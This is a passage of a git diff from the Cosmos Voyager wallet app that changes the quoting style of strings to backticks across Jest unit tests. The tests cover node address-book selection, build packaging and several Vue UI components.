ipcRenderer.on = (type, cb) => { - if (type === "error") { + if (type === `error`) { connectedCB = cb } } - let { store } = require("renderer/main.js") + let { store } = require(`renderer/main.js`) await connectedCB(null, { - code: "NO_NODES_AVAILABLE", - message: "message" + code: `NO_NODES_AVAILABLE`, + message: `message` }) expect(store.state.config.modals.noNodes.active).toBe(true) }) - it("sends a successful-launch only on first start", async () => { + it(`sends a successful-launch only on first start`, async () => { jest.resetModules() - const { ipcRenderer } = require("electron") + const { ipcRenderer } = require(`electron`) ipcRenderer.send = jest.fn() let connectedCB ipcRenderer.on = (type, cb) => { - if (type === "connected") { + if (type === `connected`) { connectedCB = cb } } - require("renderer/main.js") - connectedCB(null, "localhost") - await connectedCB(null, "localhost") + require(`renderer/main.js`) + connectedCB(null, `localhost`) + await connectedCB(null, `localhost`) expect(ipcRenderer.send.mock.calls).toEqual([ - ["booted"], - ["successful-launch"] + [`booted`], + [`successful-launch`] ]) }) - it("does not send a successful-launch if can not connect to node", async () => { + it(`does not send a successful-launch if can not connect to node`, async () => { jest.resetModules() - const { ipcRenderer } = require("electron") - jest.doMock("renderer/connectors/node", () => () => ({ + const { ipcRenderer } = require(`electron`) + jest.doMock(`renderer/connectors/node`, () => () => ({ rpcInfo: { connected: true }, rpc: { subscribe: () => {}, @@ -201,14 +201,14 @@ describe("App without analytics", () => { ipcRenderer.send = jest.fn() let connectedCB ipcRenderer.on = (type, cb) => { - if (type === "connected") { + if (type === `connected`) { connectedCB = cb } } - await require("renderer/main.js") - await connectedCB(null, "localhost") + await require(`renderer/main.js`) + await connectedCB(null, `localhost`) - expect(ipcRenderer.send.mock.calls).toEqual([["booted"]]) + expect(ipcRenderer.send.mock.calls).toEqual([[`booted`]]) }) }) diff --git a/test/unit/specs/addressbook.spec.js b/test/unit/specs/addressbook.spec.js index a95b923638..c1de310211 100644 --- a/test/unit/specs/addressbook.spec.js +++ b/test/unit/specs/addressbook.spec.js @@ -1,72 +1,72 @@ -const mockFsExtra = require("../helpers/fs-mock").default +const mockFsExtra = require(`../helpers/fs-mock`).default let Addressbook const mockConfig = { default_tendermint_port: 26657 } -describe("Addressbook", () => { +describe(`Addressbook`, () => { beforeEach(() => { jest.resetModules() - jest.mock("fs-extra", () => mockFsExtra()) - Addressbook = require("src/main/addressbook.js") + jest.mock(`fs-extra`, () => mockFsExtra()) + Addressbook = require(`src/main/addressbook.js`) - jest.mock("axios", () => ({ + jest.mock(`axios`, () => ({ get: async () => { return { data: { result: { peers: [] } } } } })) }) - it("should store peristent peers", () => { - let addressbook = new Addressbook(mockConfig, "./", { - persistent_peers: ["123.456.123.456"] + it(`should store peristent peers`, () => { + let addressbook = new Addressbook(mockConfig, `./`, { + persistent_peers: [`123.456.123.456`] }) - expect(addressbook.peers.map(p => p.host)).toContain("123.456.123.456") + expect(addressbook.peers.map(p => p.host)).toContain(`123.456.123.456`) }) - it("should restore saved peers", () => { - let fs = require("fs-extra") + it(`should restore saved peers`, () => { + let fs = require(`fs-extra`) fs.writeFileSync( - "./config/addressbook.json", - JSON.stringify(["123.456.123.456"]) + `./config/addressbook.json`, + JSON.stringify([`123.456.123.456`]) ) - let addressbook = new Addressbook(mockConfig, "./config") - expect(addressbook.peers.map(p => p.host)).toContain("123.456.123.456") + let addressbook = new Addressbook(mockConfig, `./config`) + expect(addressbook.peers.map(p => p.host)).toContain(`123.456.123.456`) }) - it("should save initial peers to disc", () => { - let fs = require("fs-extra") - let addressbook = new Addressbook(mockConfig, "./", { - persistent_peers: ["123.456.123.456"] + it(`should save initial peers to disc`, () => { + let fs = require(`fs-extra`) + let addressbook = new Addressbook(mockConfig, `./`, { + persistent_peers: [`123.456.123.456`] }) - expect(addressbook.peers.map(p => p.host)).toContain("123.456.123.456") - let content = fs.readFileSync("./addressbook.json") - expect(JSON.parse(content)).toEqual(["123.456.123.456"]) + expect(addressbook.peers.map(p => p.host)).toContain(`123.456.123.456`) + let content = fs.readFileSync(`./addressbook.json`) + expect(JSON.parse(content)).toEqual([`123.456.123.456`]) }) - it("should return node", async () => { - jest.doMock("axios", () => ({ + it(`should return node`, async () => { + jest.doMock(`axios`, () => ({ get: async () => { return { data: { result: { peers: [] } } } } })) jest.resetModules() - Addressbook = require("src/main/addressbook.js") + Addressbook = require(`src/main/addressbook.js`) - let addressbook = new Addressbook(mockConfig, "./", { - persistent_peers: ["123.456.123.456"] + let addressbook = new Addressbook(mockConfig, `./`, { + persistent_peers: [`123.456.123.456`] }) let node = await addressbook.pickNode() expect(node).toMatchSnapshot() }) - it("should always return a specified node", async () => { - process.env.COSMOS_NODE = "123.456.123.456" + it(`should always return a specified node`, async () => { + process.env.COSMOS_NODE = `123.456.123.456` try { jest.resetModules() - Addressbook = require("src/main/addressbook.js") - let addressbook = new Addressbook(mockConfig, "./config") + Addressbook = require(`src/main/addressbook.js`) + let addressbook = new Addressbook(mockConfig, `./config`) expect(await addressbook.pickNode()).toMatchSnapshot() } catch (err) { @@ -76,17 +76,17 @@ describe("Addressbook", () => { } }) - it("should error if fixed node is unavailable", async done => { - process.env.COSMOS_NODE = "123.456.123.456" + it(`should error if fixed node is unavailable`, async done => { + process.env.COSMOS_NODE = `123.456.123.456` try { - jest.doMock("axios", () => ({ + jest.doMock(`axios`, () => ({ get: async () => { return Promise.reject() } })) jest.resetModules() - Addressbook = require("src/main/addressbook.js") - let addressbook = new Addressbook(mockConfig, "./config") + Addressbook = require(`src/main/addressbook.js`) + let addressbook = new Addressbook(mockConfig, `./config`) await addressbook.pickNode() done.fail() @@ -97,61 +97,61 @@ describe("Addressbook", () => { } }) - it("should cycle though nodes until it finds one that is available", async () => { - jest.doMock("axios", () => ({ + it(`should cycle though nodes until it finds one that is available`, async () => { + jest.doMock(`axios`, () => ({ get: async url => { - if (url.indexOf("123.456.123.456") !== -1) return Promise.reject() + if (url.indexOf(`123.456.123.456`) !== -1) return Promise.reject() return Promise.resolve({ data: { result: { peers: [] } } }) } })) jest.resetModules() - Addressbook = require("src/main/addressbook.js") + Addressbook = require(`src/main/addressbook.js`) - let addressbook = new Addressbook(mockConfig, "./", { - persistent_peers: ["123.456.123.456", "223.456.123.456"] + let addressbook = new Addressbook(mockConfig, `./`, { + persistent_peers: [`123.456.123.456`, `223.456.123.456`] }) let node = await addressbook.pickNode() expect(node).toMatchSnapshot() }) - it("should throw an error if there are no nodes available", async done => { - jest.doMock("axios", () => ({ + it(`should throw an error if there are no nodes available`, async done => { + jest.doMock(`axios`, () => ({ get: async () => { return Promise.reject() } })) jest.resetModules() - Addressbook = require("src/main/addressbook.js") + Addressbook = require(`src/main/addressbook.js`) - let addressbook = new Addressbook(mockConfig, "./", { - persistent_peers: ["123.456.123.456", "223.456.123.456"] + let addressbook = new Addressbook(mockConfig, `./`, { + persistent_peers: [`123.456.123.456`, `223.456.123.456`] }) await addressbook.pickNode().then(done.fail, err => { - expect(err.message).toMatch("No nodes available to connect to") + expect(err.message).toMatch(`No nodes available to connect to`) done() }) }) - it("should query peers on connecting to a node", async () => { - jest.doMock("axios", () => ({ + it(`should query peers on connecting to a node`, async () => { + jest.doMock(`axios`, () => ({ get: async () => { return { data: { result: { peers: [] } } } } })) jest.resetModules() - Addressbook = require("src/main/addressbook.js") - let addressbook = new Addressbook(mockConfig, "./", { - persistent_peers: ["123.456.123.456", "223.456.123.456"] + Addressbook = require(`src/main/addressbook.js`) + let addressbook = new Addressbook(mockConfig, `./`, { + persistent_peers: [`123.456.123.456`, `223.456.123.456`] }) addressbook.discoverPeers = jest.fn() await addressbook.pickNode() expect(addressbook.discoverPeers).toHaveBeenCalled() }) - it("should query and store peers of connected node", async () => { - jest.doMock("axios", () => ({ + it(`should query and store peers of connected node`, async () => { + jest.doMock(`axios`, () => ({ get: async () => { return { data: { @@ -159,12 +159,12 @@ describe("Addressbook", () => { peers: [ { node_info: { - listen_addr: "323.456.123.456" + listen_addr: `323.456.123.456` } }, { node_info: { - listen_addr: "423.456.123.456" + listen_addr: `423.456.123.456` } } ] @@ -174,34 +174,34 @@ describe("Addressbook", () => { } })) jest.resetModules() - Addressbook = require("src/main/addressbook.js") + Addressbook = require(`src/main/addressbook.js`) - let addressbook = new Addressbook(mockConfig, "./", { - persistent_peers: ["123.456.123.456", "223.456.123.456"] + let addressbook = new Addressbook(mockConfig, `./`, { + persistent_peers: [`123.456.123.456`, `223.456.123.456`] }) - await addressbook.discoverPeers("123.456.123.456") - expect(addressbook.peers.map(p => p.host)).toContain("323.456.123.456") - expect(addressbook.peers.map(p => p.host)).toContain("423.456.123.456") + await addressbook.discoverPeers(`123.456.123.456`) + expect(addressbook.peers.map(p => p.host)).toContain(`323.456.123.456`) + expect(addressbook.peers.map(p => p.host)).toContain(`423.456.123.456`) - const fs = require("fs-extra") - let content = fs.readFileSync("./addressbook.json") + const fs = require(`fs-extra`) + let content = fs.readFileSync(`./addressbook.json`) let storedNodes = JSON.parse(content) - expect(storedNodes).toContain("323.456.123.456") - expect(storedNodes).toContain("423.456.123.456") + expect(storedNodes).toContain(`323.456.123.456`) + expect(storedNodes).toContain(`423.456.123.456`) }) - it("should provide the ability to reset the state of the nodes to try to reconnect to all, i.e. after an internet outage", async done => { - let addressbook = new Addressbook(mockConfig, "./", { - persistent_peers: ["123.456.123.456", "223.456.123.456"] + it(`should provide the ability to reset the state of the nodes to try to reconnect to all, i.e. after an internet outage`, async done => { + let addressbook = new Addressbook(mockConfig, `./`, { + persistent_peers: [`123.456.123.456`, `223.456.123.456`] }) addressbook.peers = addressbook.peers.map(p => { - p.state = "down" + p.state = `down` return p }) await addressbook.pickNode().then(done.fail, err => { - expect(err.message).toMatch("No nodes available to connect to") + expect(err.message).toMatch(`No nodes available to connect to`) }) addressbook.resetNodes() @@ -209,21 +209,21 @@ describe("Addressbook", () => { await addressbook.pickNode().then(() => done(), done.fail) }) - it("should call back on connection", async () => { + it(`should call back on connection`, async () => { let spy = jest.fn() - let addressbook = new Addressbook(mockConfig, "./config", { - persistent_peers: ["123.456.123.456"], + let addressbook = new Addressbook(mockConfig, `./config`, { + persistent_peers: [`123.456.123.456`], onConnectionMessage: spy }) await addressbook.pickNode() expect(spy).toHaveBeenCalled() }) - it("should flag nodes incompatible", async done => { - let addressbook = new Addressbook(mockConfig, "./config", { - persistent_peers: ["123.456.123.456"] + it(`should flag nodes incompatible`, async done => { + let addressbook = new Addressbook(mockConfig, `./config`, { + persistent_peers: [`123.456.123.456`] }) - addressbook.flagNodeIncompatible("123.456.123.456") + addressbook.flagNodeIncompatible(`123.456.123.456`) await addressbook .pickNode() .then(done.fail) diff --git a/test/unit/specs/build.spec.js b/test/unit/specs/build.spec.js index 6668595d39..dd028d6e0a 100644 --- a/test/unit/specs/build.spec.js +++ b/test/unit/specs/build.spec.js @@ -9,15 +9,15 @@ const stream = require(`stream`) test(`generateAppPackageJson`, () => { const packageJson = { - name: "cosmos-voyager", - productName: "Cosmos Voyager", - version: "0.7.1" + name: `cosmos-voyager`, + productName: `Cosmos Voyager`, + version: `0.7.1` } expect(build.generateAppPackageJson(packageJson)).toEqual({ - main: "./dist/main.js", - productName: "Cosmos Voyager", - version: "0.7.1" + main: `./dist/main.js`, + productName: `Cosmos Voyager`, + version: `0.7.1` }) }) diff --git a/test/unit/specs/components/common/AnchorCopy.spec.js b/test/unit/specs/components/common/AnchorCopy.spec.js index bdc4977bf0..2eef96986f 100644 --- a/test/unit/specs/components/common/AnchorCopy.spec.js +++ b/test/unit/specs/components/common/AnchorCopy.spec.js @@ -1,38 +1,38 @@ import setup from "../../../helpers/vuex-setup" import AnchorCopy from "renderer/components/common/AnchorCopy" -describe("AnchorCopy", () => { +describe(`AnchorCopy`, () => { let wrapper, store let instance = setup() beforeEach(() => { let test = instance.mount(AnchorCopy, { - propsData: { value: "this is a test" } + propsData: { value: `this is a test` } }) wrapper = test.wrapper store = test.store }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(wrapper.html()).toMatchSnapshot() }) - it("should open a notification", () => { - wrapper.trigger("click") + it(`should open a notification`, () => { + wrapper.trigger(`click`) expect(store.commit).toHaveBeenCalled() - expect(store.commit.mock.calls[0][0]).toBe("notify") - expect(store.commit.mock.calls[0][1].body).toContain("this is a test") + expect(store.commit.mock.calls[0][0]).toBe(`notify`) + expect(store.commit.mock.calls[0][1].body).toContain(`this is a test`) }) - it("should use a provided title in message", () => { - wrapper.setProps({ title: "Title A" }) - wrapper.trigger("click") - expect(store.commit.mock.calls[0][1].title).toBe("Title A") + it(`should use a provided title in message`, () => { + wrapper.setProps({ title: `Title A` }) + wrapper.trigger(`click`) + expect(store.commit.mock.calls[0][1].title).toBe(`Title A`) }) - it("should use a provided body in message", () => { - wrapper.setProps({ body: "Body A" }) - wrapper.trigger("click") - expect(store.commit.mock.calls[0][1].body).toBe("Body A") + it(`should use a provided body in message`, () => { + wrapper.setProps({ body: `Body A` }) + wrapper.trigger(`click`) + expect(store.commit.mock.calls[0][1].body).toBe(`Body A`) }) }) diff --git a/test/unit/specs/components/common/AppFooter.spec.js b/test/unit/specs/components/common/AppFooter.spec.js index 50d075a530..fd09a6f1be 100644 --- a/test/unit/specs/components/common/AppFooter.spec.js +++ b/test/unit/specs/components/common/AppFooter.spec.js @@ -1,7 +1,7 @@ import setup from "../../../helpers/vuex-setup" import AppFooter from "renderer/components/common/AppFooter" -describe("AppFooter", () => { +describe(`AppFooter`, () => { let wrapper let instance = setup() @@ -10,7 +10,7 @@ describe("AppFooter", () => { wrapper = test.wrapper }) - it("has the expected html structure if connected", () => { + it(`has the expected html structure if connected`, () => { expect(wrapper.vm.$el).toMatchSnapshot() }) }) diff --git a/test/unit/specs/components/common/AppHeader.spec.js b/test/unit/specs/components/common/AppHeader.spec.js index 0da3326809..fdfac4d716 100644 --- a/test/unit/specs/components/common/AppHeader.spec.js +++ b/test/unit/specs/components/common/AppHeader.spec.js @@ -2,13 +2,13 @@ import AppHeader from "common/AppHeader" import htmlBeautify from "html-beautify" import setup from "../../../helpers/vuex-setup" -describe("AppHeader", () => { +describe(`AppHeader`, () => { let wrapper, store, instance let { mount } = setup() beforeEach(() => { instance = mount(AppHeader, { - stubs: { "app-menu": "" } + stubs: { "app-menu": `` } }) wrapper = instance.wrapper store = instance.store @@ -16,83 +16,83 @@ describe("AppHeader", () => { wrapper.update() }) - it("has the expected html structure 1", () => { - store.commit("setConfigDesktop", true) - store.commit("setActiveMenu", "app") + it(`has the expected html structure 1`, () => { + store.commit(`setConfigDesktop`, true) + store.commit(`setActiveMenu`, `app`) wrapper.update() expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("has the expected html structure 2", () => { - store.commit("setConfigDesktop", false) - store.commit("setActiveMenu", "app") + it(`has the expected html structure 2`, () => { + store.commit(`setConfigDesktop`, false) + store.commit(`setActiveMenu`, `app`) wrapper.update() expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("has the expected html structure 3", () => { - store.commit("setConfigDesktop", true) - store.commit("setActiveMenu", "") + it(`has the expected html structure 3`, () => { + store.commit(`setConfigDesktop`, true) + store.commit(`setActiveMenu`, ``) wrapper.update() expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("has the expected html structure 4", () => { - store.commit("setConfigDesktop", false) - store.commit("setActiveMenu", "") + it(`has the expected html structure 4`, () => { + store.commit(`setConfigDesktop`, false) + store.commit(`setActiveMenu`, ``) wrapper.update() expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("should close the app menu", () => { - store.commit("setConfigDesktop", false) - store.commit("setActiveMenu", "app") + it(`should close the app menu`, () => { + store.commit(`setConfigDesktop`, false) + store.commit(`setActiveMenu`, `app`) wrapper.update() wrapper - .findAll(".header-item") + .findAll(`.header-item`) .at(2) - .trigger("click") - expect(store.commit).toHaveBeenCalledWith("setActiveMenu", "") + .trigger(`click`) + expect(store.commit).toHaveBeenCalledWith(`setActiveMenu`, ``) }) - it("should open the app menu on mobile", () => { - store.commit("setConfigDesktop", false) - store.commit("setActiveMenu", "notapp") + it(`should open the app menu on mobile`, () => { + store.commit(`setConfigDesktop`, false) + store.commit(`setActiveMenu`, `notapp`) wrapper.update() wrapper - .findAll(".header-item") + .findAll(`.header-item`) .at(2) - .trigger("click") - expect(store.commit).toHaveBeenCalledWith("setActiveMenu", "app") + .trigger(`click`) + expect(store.commit).toHaveBeenCalledWith(`setActiveMenu`, `app`) }) - it("should commit desktop status to true", () => { + it(`should commit desktop status to true`, () => { global.innerWidth = 1025 - global.dispatchEvent(new Event("resize")) + global.dispatchEvent(new Event(`resize`)) - expect(store.commit).toHaveBeenCalledWith("setConfigDesktop", true) + expect(store.commit).toHaveBeenCalledWith(`setConfigDesktop`, true) }) - it("should commit desktop status to false", () => { + it(`should commit desktop status to false`, () => { global.innerWidth = 1023 - global.dispatchEvent(new Event("resize")) + global.dispatchEvent(new Event(`resize`)) - expect(store.commit).toHaveBeenCalledWith("setConfigDesktop", false) + expect(store.commit).toHaveBeenCalledWith(`setConfigDesktop`, false) }) - it("handles dark theme", () => { - expect(wrapper.find("#logo-white").exists()).toBeTruthy() + it(`handles dark theme`, () => { + expect(wrapper.find(`#logo-white`).exists()).toBeTruthy() }) - it("handles light theme", () => { - store.commit("setTheme", "light") + it(`handles light theme`, () => { + store.commit(`setTheme`, `light`) wrapper.update() - expect(wrapper.find("#logo-black").exists()).toBeTruthy() + expect(wrapper.find(`#logo-black`).exists()).toBeTruthy() }) }) diff --git a/test/unit/specs/components/common/AppMenu.spec.js b/test/unit/specs/components/common/AppMenu.spec.js index 75cb3fb565..1359719c50 100644 --- a/test/unit/specs/components/common/AppMenu.spec.js +++ b/test/unit/specs/components/common/AppMenu.spec.js @@ -2,7 +2,7 @@ import AppMenu from "common/AppMenu" import htmlBeautify from "html-beautify" import setup from "../../../helpers/vuex-setup" -describe("AppMenu", () => { +describe(`AppMenu`, () => { let wrapper, store, instance let { mount } = setup() @@ -10,37 +10,37 @@ describe("AppMenu", () => { instance = mount(AppMenu) store = instance.store wrapper = instance.wrapper - await store.dispatch("signIn", { - account: "default", - password: "1234567890" + await store.dispatch(`signIn`, { + account: `default`, + password: `1234567890` }) wrapper.update() }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("checks whether current page is validators", () => { + it(`checks whether current page is validators`, () => { expect(wrapper.vm.isValidatorPage).toBeFalsy() }) - it("has a perfect scrollbar", () => { + it(`has a perfect scrollbar`, () => { expect(wrapper.vm.ps).toBeDefined() }) - it("shows staking page because of mocked connector", () => { - expect(wrapper.find("#app-menu__staking")).toBeDefined() + it(`shows staking page because of mocked connector`, () => { + expect(wrapper.find(`#app-menu__staking`)).toBeDefined() }) - it("shows transactions page because of mocked connector", () => { - expect(wrapper.find("#app-menu__transactions")).toBeDefined() + it(`shows transactions page because of mocked connector`, () => { + expect(wrapper.find(`#app-menu__transactions`)).toBeDefined() }) - it("can close the app menu", () => { - wrapper.find("#app-menu__wallet").trigger("click") + it(`can close the app menu`, () => { + wrapper.find(`#app-menu__wallet`).trigger(`click`) expect(store.commit).toHaveBeenCalled() - expect(store.commit.mock.calls[0][0]).toBe("setActiveMenu") + expect(store.commit.mock.calls[0][0]).toBe(`setActiveMenu`) expect(store.commit.mock.calls[0][1]).toBeFalsy() }) }) diff --git a/test/unit/specs/components/common/FundraiserWarning.spec.js b/test/unit/specs/components/common/FundraiserWarning.spec.js index a1ece8278f..a22fab1ffa 100644 --- a/test/unit/specs/components/common/FundraiserWarning.spec.js +++ b/test/unit/specs/components/common/FundraiserWarning.spec.js @@ -2,14 +2,14 @@ import { shallow } from "@vue/test-utils" import htmlBeautify from "html-beautify" import FundraiserWarning from "renderer/components/common/FundraiserWarning" -describe("FundraiserWarning", () => { +describe(`FundraiserWarning`, () => { let wrapper beforeEach(() => { wrapper = shallow(FundraiserWarning) }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) }) diff --git a/test/unit/specs/components/common/Page404.spec.js b/test/unit/specs/components/common/Page404.spec.js index c90f5bb2b1..e5ef754862 100644 --- a/test/unit/specs/components/common/Page404.spec.js +++ b/test/unit/specs/components/common/Page404.spec.js @@ -1,7 +1,7 @@ import setup from "../../../helpers/vuex-setup" import Page404 from "renderer/components/common/Page404" -describe("Page404", () => { +describe(`Page404`, () => { let instance = setup() let wrapper @@ -11,7 +11,7 @@ describe("Page404", () => { wrapper.update() }) - it("has the expected html structure", async () => { + it(`has the expected html structure`, async () => { // after importing the @tendermint/ui components from modules // the perfect scroll plugin needs a $nextTick and a wrapper.update // to work properly in the tests (snapshots weren't matching) @@ -21,7 +21,7 @@ describe("Page404", () => { expect(wrapper.vm.$el).toMatchSnapshot() }) - it("should show links to other pages", () => { - expect(wrapper.findAll(".tm-li").length > 0).toBe(true) + it(`should show links to other pages`, () => { + expect(wrapper.findAll(`.tm-li`).length > 0).toBe(true) }) }) diff --git a/test/unit/specs/components/common/PagePreferences.spec.js b/test/unit/specs/components/common/PagePreferences.spec.js index eaeb3b8631..806bd6001a 100644 --- a/test/unit/specs/components/common/PagePreferences.spec.js +++ b/test/unit/specs/components/common/PagePreferences.spec.js @@ -1,8 +1,8 @@ import setup from "../../../helpers/vuex-setup" import PagePreferences from "renderer/components/common/PagePreferences" -jest.mock("renderer/google-analytics.js", () => () => {}) +jest.mock(`renderer/google-analytics.js`, () => () => {}) -describe("PagePreferences", () => { +describe(`PagePreferences`, () => { let wrapper, store let instance = setup() @@ -11,13 +11,13 @@ describe("PagePreferences", () => { wrapper = test.wrapper store = test.store - await store.dispatch("signIn", { - account: "default", - password: "1234567890" + await store.dispatch(`signIn`, { + account: `default`, + password: `1234567890` }) }) - it("has the expected html structure if connected", async () => { + it(`has the expected html structure if connected`, async () => { // after importing the @tendermint/ui components modules // the perfect scroll plugin needs a $nextTick and a wrapper.update // to work properly in the tests (snapshots weren't matching) @@ -25,64 +25,64 @@ describe("PagePreferences", () => { await wrapper.vm.$nextTick() wrapper.update() expect(wrapper.vm.$el).toMatchSnapshot() - expect(wrapper.vm.$el.outerHTML).toContain("Select network") - expect(wrapper.vm.$el.outerHTML).toContain("View tutorial") - expect(wrapper.vm.$el.outerHTML).toContain("Automatically send") - expect(wrapper.vm.$el.outerHTML).toContain("Switch account") - expect(wrapper.vm.$el.outerHTML).toContain("Sign Out") + expect(wrapper.vm.$el.outerHTML).toContain(`Select network`) + expect(wrapper.vm.$el.outerHTML).toContain(`View tutorial`) + expect(wrapper.vm.$el.outerHTML).toContain(`Automatically send`) + expect(wrapper.vm.$el.outerHTML).toContain(`Switch account`) + expect(wrapper.vm.$el.outerHTML).toContain(`Sign Out`) }) - it("should sign the user out", async () => { + it(`should sign the user out`, async () => { wrapper.vm.signOut() - expect(store.dispatch).toHaveBeenCalledWith("signOut") - expect(store.commit).toHaveBeenCalledWith("notifySignOut") + expect(store.dispatch).toHaveBeenCalledWith(`signOut`) + expect(store.commit).toHaveBeenCalledWith(`notifySignOut`) }) - it("should set the error collection opt in", async () => { + it(`should set the error collection opt in`, async () => { let errorCollection = wrapper.vm.user.errorCollection wrapper.vm.setErrorCollection() - expect(store.dispatch).toHaveBeenCalledWith("setErrorCollection", { - account: "default", + expect(store.dispatch).toHaveBeenCalledWith(`setErrorCollection`, { + account: `default`, optin: !errorCollection }) expect(wrapper.vm.user.errorCollection).not.toBe(errorCollection) }) - it("can switch the theme", () => { + it(`can switch the theme`, () => { wrapper.vm.setAppTheme() - expect(store.commit).toHaveBeenCalledWith("setTheme", "light") - expect(store.state.themes.active).toBe("light") + expect(store.commit).toHaveBeenCalledWith(`setTheme`, `light`) + expect(store.state.themes.active).toBe(`light`) // store.commit.mockClear() wrapper.vm.setAppTheme() - expect(store.commit).toHaveBeenCalledWith("setTheme", "dark") - expect(store.state.themes.active).toBe("dark") + expect(store.commit).toHaveBeenCalledWith(`setTheme`, `dark`) + expect(store.state.themes.active).toBe(`dark`) }) - it("can show onboarding again", () => { - wrapper.find("#toggle-onboarding").trigger("click") - expect(store.commit).toHaveBeenCalledWith("setOnboardingState", 0) - expect(store.commit).toHaveBeenCalledWith("setOnboardingActive", true) + it(`can show onboarding again`, () => { + wrapper.find(`#toggle-onboarding`).trigger(`click`) + expect(store.commit).toHaveBeenCalledWith(`setOnboardingState`, 0) + expect(store.commit).toHaveBeenCalledWith(`setOnboardingActive`, true) wrapper.update() - expect(wrapper.find("#onboarding")).toBeDefined() + expect(wrapper.find(`#onboarding`)).toBeDefined() }) - it("switches mocked mode", () => { - wrapper.vm.networkSelectActive = "mock" + it(`switches mocked mode`, () => { + wrapper.vm.networkSelectActive = `mock` wrapper.vm.setMockedConnector() expect(wrapper.vm.mockedConnector).toBe(true) - expect(store.dispatch).toHaveBeenCalledWith("setMockedConnector", true) + expect(store.dispatch).toHaveBeenCalledWith(`setMockedConnector`, true) - wrapper.vm.networkSelectActive = "live" + wrapper.vm.networkSelectActive = `live` wrapper.vm.setMockedConnector() expect(wrapper.vm.mockedConnector).toBe(false) - expect(store.dispatch).toHaveBeenCalledWith("setMockedConnector", true) + expect(store.dispatch).toHaveBeenCalledWith(`setMockedConnector`, true) // dont update without switch wrapper.vm.setMockedConnector() expect(wrapper.vm.mockedConnector).toBe(false) }) - it("switches mocked mode again", async () => { + it(`switches mocked mode again`, async () => { let test = instance.mount(PagePreferences, { getters: { mockedConnector: () => true @@ -90,12 +90,12 @@ describe("PagePreferences", () => { }) wrapper = test.wrapper store = test.store - await store.dispatch("signIn", { - account: "default", - password: "1234567890" + await store.dispatch(`signIn`, { + account: `default`, + password: `1234567890` }) - wrapper.vm.networkSelectActive = "live" + wrapper.vm.networkSelectActive = `live` wrapper.vm.setMockedConnector() - expect(store.dispatch).toHaveBeenCalledWith("setMockedConnector", false) + expect(store.dispatch).toHaveBeenCalledWith(`setMockedConnector`, false) }) }) diff --git a/test/unit/specs/components/common/TextBlock.spec.js b/test/unit/specs/components/common/TextBlock.spec.js index 049de3b98b..7b33dd6917 100644 --- a/test/unit/specs/components/common/TextBlock.spec.js +++ b/test/unit/specs/components/common/TextBlock.spec.js @@ -1,19 +1,19 @@ import { mount } from "@vue/test-utils" import TextBlock from "common/TextBlock" -describe("TextBlock", () => { +describe(`TextBlock`, () => { let wrapper beforeEach(() => { wrapper = mount(TextBlock, { propsData: { content: `Hello World`, - author: "faboweb" + author: `faboweb` } }) }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(wrapper.vm.$el).toMatchSnapshot() }) }) diff --git a/test/unit/specs/components/common/TmBalance.spec.js b/test/unit/specs/components/common/TmBalance.spec.js index eeca3be1ae..f4832c26c8 100644 --- a/test/unit/specs/components/common/TmBalance.spec.js +++ b/test/unit/specs/components/common/TmBalance.spec.js @@ -2,7 +2,7 @@ import setup from "../../../helpers/vuex-setup" import htmlBeautify from "html-beautify" import TmBalance from "common/TmBalance" -describe("TmBalance", () => { +describe(`TmBalance`, () => { let wrapper let { mount } = setup() @@ -12,7 +12,7 @@ describe("TmBalance", () => { user: () => { return { atoms: 123, - address: "useraddress16876876876876876786876876876876876" + address: `useraddress16876876876876876786876876876876876` } }, totalAtoms: () => { @@ -24,49 +24,49 @@ describe("TmBalance", () => { wrapper.update() }) - it("has the expected html structure before adding props", () => { + it(`has the expected html structure before adding props`, () => { expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("shows correct stats depending on props", () => { - expect(wrapper.contains(".unstaked-atoms")).toBe(false) + it(`shows correct stats depending on props`, () => { + expect(wrapper.contains(`.unstaked-atoms`)).toBe(false) wrapper.setProps({ unstakedAtoms: 1337 }) wrapper.update() - expect(wrapper.contains(".unstaked-atoms")).toBe(true) + expect(wrapper.contains(`.unstaked-atoms`)).toBe(true) - expect(wrapper.contains(".total-earnings")).toBe(false) + expect(wrapper.contains(`.total-earnings`)).toBe(false) wrapper.setProps({ totalEarnings: 1337 }) wrapper.update() - expect(wrapper.contains(".total-earnings")).toBe(true) + expect(wrapper.contains(`.total-earnings`)).toBe(true) - expect(wrapper.contains(".total-rewards")).toBe(false) + expect(wrapper.contains(`.total-rewards`)).toBe(false) wrapper.setProps({ totalRewards: 1337 }) wrapper.update() - expect(wrapper.contains(".total-rewards")).toBe(true) + expect(wrapper.contains(`.total-rewards`)).toBe(true) expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("clicking copy copies the address", async () => { + it(`clicking copy copies the address`, async () => { expect( wrapper - .find(".success") + .find(`.success`) .classes() - .includes("showSuccess") + .includes(`showSuccess`) ).toBe(false) - wrapper.find(".address").trigger("click") + wrapper.find(`.address`).trigger(`click`) expect( wrapper - .find(".success") + .find(`.success`) .classes() - .includes("showSuccess") + .includes(`showSuccess`) ).toBe(true) await sleep(3500) expect( wrapper - .find(".success") + .find(`.success`) .classes() - .includes("showSuccess") + .includes(`showSuccess`) ).toBe(false) }) }) diff --git a/test/unit/specs/components/common/TmBtnCopy.spec.js b/test/unit/specs/components/common/TmBtnCopy.spec.js index 336e0fc19e..e6671ad47d 100644 --- a/test/unit/specs/components/common/TmBtnCopy.spec.js +++ b/test/unit/specs/components/common/TmBtnCopy.spec.js @@ -1,47 +1,47 @@ import setup from "../../../helpers/vuex-setup" import TmBtnCopy from "renderer/components/common/TmBtnCopy" -describe("TmBtnCopy", () => { +describe(`TmBtnCopy`, () => { let wrapper, store let instance = setup() beforeEach(() => { let test = instance.mount(TmBtnCopy, { - propsData: { value: "this is a test" } + propsData: { value: `this is a test` } }) wrapper = test.wrapper store = test.store }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(wrapper.html()).toMatchSnapshot() }) - it("should open a notification", () => { - wrapper.trigger("click") + 